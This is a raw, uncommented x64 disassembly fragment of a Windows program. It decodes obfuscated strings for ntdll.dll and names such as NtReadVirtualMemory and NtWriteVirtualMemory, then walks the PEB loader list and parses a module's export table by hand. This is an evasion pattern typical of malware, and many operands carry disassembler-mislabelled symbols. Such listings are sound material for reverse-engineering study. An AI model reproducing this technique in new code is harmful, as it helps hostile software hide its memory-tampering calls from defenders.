mov byte [rbp + 0x6e9], al
mov r9d, r14d
lea r8d, [r14 - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6ea], al
mov r9d, r14d
lea r8d, [r14 - 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6eb], al
mov r9d, r14d
lea r8d, [r14 - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6ec], al
mov r9d, r14d
lea r8d, [r14 - 9]
mov dl, 0x67
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6ed], al
mov r9d, r14d
lea r8d, [r14 - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6ee], al
mov r9d, r14d
lea r8d, [r14 - 7]
mov dl, 0x65
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6ef], al
mov r9d, r14d
lea r8d, [r14 - 6]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6f0], al
mov r9d, r14d
mov r8, r12
mov dl, 0x62
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6f1], al
mov r9d, r14d
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6f2], al
mov r9d, r14d
lea r8d, [r14 - 3]
mov dl, 0x65
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6f3], al
mov r9d, r14d
lea edi, [r14 - 2]
mov r8d, edi
mov dl, 0x63
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6f4], al
mov r9d, r14d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6f5], al
xor eax, eax
mov byte [rbp + 0x6f6], al
mov r14d, eax
lea r12d, [rdi - 0x12]
mov r9d, reloc.WS2_32.dll_setsockopt
mov r8, r14
mov dl, byte [rbp + r14 + 0x6e1]
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + r14 + 0x6e1], al
add r14, r12
cmp r14, 0x15
jb 0x140021f65
xor esi, esi
lea r12d, [rsi + 0x10]
mov byte [rbp + 0x6f6], sil
mov byte [rbp + select0], 0xe
lea r14d, [rsi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + 0xe1], al
mov r9d, r14d
lea r14d, [rsi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + 0xe2], al
lea r9d, [rsi + 9]
lea r8d, [rsi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + 0xe3], al
lea r9d, [rsi + 9]
lea r8d, [rsi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + 0xe4], al
lea r9d, [rsi + 9]
lea r8d, [rsi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + 0xe5], al
lea r9d, [rsi + 9]
lea r8d, [rsi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + 0xe6], al
lea r9d, [rsi + 9]
lea r8d, [rsi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + 0xe7], al
lea r9d, [rsi + 9]
lea r8d, [rsi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + 0xe8], al
lea r9d, [rsi + 9]
lea r8d, [rsi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + 0xe9], al
xor eax, eax
mov byte [rbp + 0xea], al
mov r9d, 9
mov r8, rsi
mov dl, byte [rbp + rsi + 0xe1]
lea rcx, [rbp + 0xe0]
call fcn.14002e000
mov byte [rbp + rsi + 0xe1], al
add rsi, r14
cmp rsi, 9
jb 0x1400220af
xor ecx, ecx
lea r14d, [rcx + 0x20]
mov byte [rbp + 0xea], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002243b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x140022181
lea ebx, [rax + 1]
mov r10d, ebx
mov r12, qword [rsp + 0x60]
mov ecx, r10d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x140022153
mov ebx, reloc.WS2_32.dll_recvfrom
lea r12d, [rbx - 1]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x1400221dd
mov rax, rcx
lea r9, [rbp + 0xe1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400221d6
add rax, r11
test edx, edx
jne 0x1400221c1
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
test dil, dil
jne 0x140022203
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
cmp rax, qword [rbp - 0x78]
jne 0x14002210a
jmp 0x140022436
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140022436
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140022436
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140022436
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140022436
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140022436
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6e1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140022296
inc rax
test edi, edi
jne 0x140022281
xor edi, edi
test r8d, r8d
je 0x1400222ab
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x140022270
jmp 0x140022436
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140022436
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x140022436
mov edi, reloc.WS2_32.dll_send
xor esi, esi
mov qword [rbp + 0xf60], rsi
mov byte [rbp + 0x488], 0x57
mov r9, rdi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x489], al
mov r9, rdi
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x48a], al
mov r9, rdi
lea r8d, [rsi + 2]
mov dl, 0x52
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x48b], al
mov r9, rdi
lea r8d, [rsi + 3]
mov dl, 0x65
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x48c], al
mov r9, rdi
lea r8d, [rsi + 4]
mov dl, 0x61
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x48d], al
mov r9, rdi
lea r8d, [rsi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x48e], al
mov r9, rdi
lea r8d, [rsi + 6]
mov dl, 0x56
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x48f], al
mov r9, rdi
lea r8d, [rsi + 7]
mov dl, 0x69
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x490], al
mov r9, rdi
lea r8d, [rsi + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x491], al
mov r9, rdi
lea r8d, [rsi + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x492], al
mov r9, rdi
lea r8d, [rsi + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x493], al
mov r9, rdi
lea r8d, [rsi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x494], al
mov r9, rdi
lea r8d, [rsi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x495], al
mov r9, rdi
lea r8d, [rsi + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x496], al
mov r9, rdi
lea r8d, [rsi + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x497], al
mov r9, rdi
lea r8d, [rsi + 0xf]
mov dl, 0x6d
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x498], al
mov r9, rdi
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x499], al
mov r9, rdi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x49a], al
mov r9, rdi
lea r8d, [rsi + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + 0x49b], al
xor eax, eax
mov byte [rbp + 0x49c], al
lea r12d, [rsi + 1]
mov r9, rdi
mov r8, rsi
mov dl, byte [rbp + rsi + 0x489]
lea rcx, [rbp + 0x488]
call fcn.14002e7f4
mov byte [rbp + rsi + 0x489], al
add rsi, r12
cmp rsi, rdi
jb 0x140022655
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
lea r12d, [rsi - 4]
mov byte [rbp + 0x49c], dil
mov byte [rbp + 0xd0], Ordinal_50
lea r14d, [rsi - 0xb]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + 0xd1], al
mov r9d, r14d
lea r14d, [rsi - 0x13]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + 0xd2], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + 0xd3], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + 0xd4], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + 0xd5], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + 0xd6], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + 0xd7], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + 0xd8], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + 0xd9], al
xor eax, eax
mov byte [rbp + 0xda], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd1]
lea rcx, [rbp + 0xd0]
call fcn.14002e000
mov byte [rbp + rdi + 0xd1], al
add rdi, r14
cmp rdi, 9
jb 0x14002279e
xor edi, edi
mov byte [rbp + 0xda], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x140022b3f
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x68], edi
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x140022869
lea ebx, [rax + 1]
mov r10d, ebx
mov r12, qword [rsp + 0x60]
mov ecx, r10d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x14002283b
mov ebx, reloc.WS2_32.dll_recvfrom
lea r12d, [rbx - 1]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x1400228c5
mov rax, rcx
lea r9, [rbp + 0xd1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400228be
add rax, r11
test edx, edx
jne 0x1400228a9
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
test dil, dil
jne 0x1400228ed
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
cmp rax, qword [rbp - 0x78]
je 0x140022b3f
xor edi, edi
jmp 0x1400227f6
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140022b3f
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140022b3f
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140022b3f
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140022b3f
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140022b3f
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x489]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140022980
mov rax, qword [rbp + 0xf60]
mov rcx, qword [rbp + 0xc20]
mov qword [rcx], rax
lea rcx, [rbp + 0xff0]
call fcn.14002eca0
mov rax, qword [rbp + 0xc20]
add rax, 8
mov qword [rbp + 0xc20], rax
xor ecx, ecx
cmp qword [rax], rcx
jne 0x14001f80b
mov ecx, 0x1000
mov qword [rbp + 0xd88], rcx
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0xdd8], rax
call fcn.14008d174
mov qword [rsp + 0x70], rax
mov r8, qword [rbp + 0xd88]
xor edx, edx
mov rcx, rax
call fcn.1400b4da0
mov rax, qword [rbp + 0xd88]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 0xdd8]
mov qword [rbp + 0xc18], rax
mov byte [rbp + 0x518], Ordinal_79
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x519], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x51a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x51b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x51c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x51d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x51e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x51f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x520], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x521], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x522], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x523], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x524], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x525], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x526], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x527], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x528], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x529], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x52a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x52b], al
mov r9, rsi
mov r15d, reloc.WS2_32.dll_send
mov r8d, r15d
mov dl, 0x79
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + 0x52c], al
xor eax, eax
mov byte [rbp + 0x52d], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x519]
lea rcx, [rbp + 0x518]
call fcn.14002e778
mov byte [rbp + rdi + 0x519], al
add rdi, rbx
cmp rdi, rsi
jb 0x140022e19
xor edi, edi
mov byte [rbp + 0x52d], dil
mov byte [rbp + 0xc0], Ordinal_32
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + 0xc1], al
mov r9d, ebx
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + 0xc2], al
mov r9d, ebx
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + 0xc3], al
mov r9d, ebx
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + 0xc4], al
mov r9d, ebx
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + 0xc5], al
mov r9d, ebx
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + 0xc6], al
mov r9d, ebx
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + 0xc7], al
mov r9d, ebx
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + 0xc8], al
mov r9d, ebx
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + 0xc9], al
xor eax, eax
mov byte [rbp + 0xca], al
lea ebx, [rdi + 0x11]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc1]
lea rcx, [rbp + 0xc0]
call fcn.14002e000
mov byte [rbp + rdi + 0xc1], al
add rdi, r14
cmp rdi, 9
jb 0x140022f54
xor r9d, r9d
mov byte [rbp + 0xca], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea r14d, [r9 + 0x20]
je 0x1400230a8
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x140023026
lea r12d, [rax + 1]
mov r10d, r12d
mov rsi, qword [rsp + 0x60]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140022ffa
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi - 4]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x140023082
mov rax, rcx
lea r9, [rbp + 0xc1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002307b
add rax, r11
test edx, edx
jne 0x140023066
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x140023585
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x78]
jne 0x140022fb0
mov dword [rbp - 0x60], r9d
mov edi, 1
mov rcx, qword [rsp + 0x70]
call fcn.14008cef0
xor eax, eax
cmp dword [rbp - 0x60], eax
jl 0x140023a0b
mov byte [rbp + 0x470], 0x51
mov r9, r15
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x471], al
mov r9, r15
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x472], al
mov r9, r15
mov r8d, 2
mov dl, 0x46
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x473], al
mov r9, r15
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x474], al
mov r9, r15
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x475], al
mov r9, r15
mov r8d, 5
mov dl, 0x65
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x476], al
mov r9, r15
mov r8d, 6
mov dl, 0x56
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x477], al
mov r9, r15
mov r8d, 7
mov dl, 0x69
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x478], al
mov r9, r15
mov r8d, 8
mov dl, WSAStartup
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x479], al
mov r9, r15
mov r8d, 9
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x47a], al
mov r9, r15
mov r8d, 0xa
mov dl, 0x75
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x47b], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x47c], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x6c
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x47d], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x4d
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x47e], al
mov r9, r15
mov r8d, select
mov dl, 0x65
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x47f], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x6d
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x480], al
mov r9, r15
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x481], al
mov r9, r15
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x482], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x79
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + 0x483], al
xor eax, eax
mov byte [rbp + 0x484], al
mov edi, eax
lea esi, [rax + 1]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x471]
lea rcx, [rbp + 0x470]
call fcn.14002e7f4
mov byte [rbp + rdi + 0x471], al
add rdi, rsi
cmp rdi, r15
jb 0x1400232f5
xor edi, edi
mov byte [rbp + 0x484], dil
mov byte [rbp + 0xb0], 4
lea esi, [rdi + 9]
mov r9d, esi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + 0xb1], al
mov r9d, esi
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + 0xb2], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + 0xb3], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + 0xb4], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + 0xb5], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + 0xb6], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + 0xb7], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + 0xb8], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xb0]
call fcn.14002e000
mov byte [rbp + 0xb9], al
xor eax, eax
mov byte [rbp + 0xba], al
lea esi, [rdi + 0x14]
mov r9d, 9
mov r8, rdi
